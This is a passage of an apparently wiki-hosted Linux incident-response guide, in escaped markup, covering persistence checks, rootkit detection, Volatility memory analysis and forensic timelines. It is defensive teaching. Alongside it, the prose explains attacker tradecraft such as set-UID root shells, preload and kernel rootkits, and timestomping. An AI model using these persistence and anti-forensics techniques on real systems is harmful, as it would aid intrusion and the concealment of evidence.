| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;, not a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, not the main method. Treat their output as leads:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof of health.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself admits that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional harmless false positive (for example a legitimate virtualization driver), so investigate each hit. A rootkit that does not hide, but instead uses an ordinary-sounding name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
Then pivot: use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times. Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit] (TSK). You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login: jump to that time.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
